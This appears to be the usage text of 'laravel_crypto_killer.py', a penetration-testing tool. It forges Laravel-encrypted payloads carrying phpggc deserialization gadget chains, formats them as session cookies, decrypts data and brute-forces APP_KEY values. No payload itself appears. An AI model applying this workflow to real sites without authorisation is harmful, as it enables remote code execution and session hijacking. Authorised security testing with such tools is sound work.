        This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
        
        It can also be used to decrypt any data encrypted via encrypt() or encryptString().

        The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.

        Authors of the tool : @_remsio_, @Kainx42
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        

options:
  -h, --help            show this help message and exit

subcommands:
  You can use the option -h on each subcommand to get more info

  {exploit,encrypt,decrypt,bruteforce}
    exploit             Exploit mode
    encrypt             Encrypt mode
    decrypt             Decrypt mode
    bruteforce          Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.

$ ./laravel_crypto_killer.py encrypt -h
usage: laravel_crypto_killer.py encrypt [-h] [--key KEY] --value VALUE

optional arguments:
  -h, --help            show this help message and exit
  --key KEY, -k KEY     Key used by Laravel stored in APP_KEY in .env
  --value VALUE, -v VALUE
                        Value of the string data you want to laravel cipher (it has to be base64 encoded!). The place where you put a gadget chain from phpggc basically.
  --session_cookie SESSION_COOKIE, -sc SESSION_COOKIE
                        Add this option to format the ciphered value to exploit a Laravel Session Cookie (option SESSION_DRIVER=cookie). it should be a 40 character long hex chain
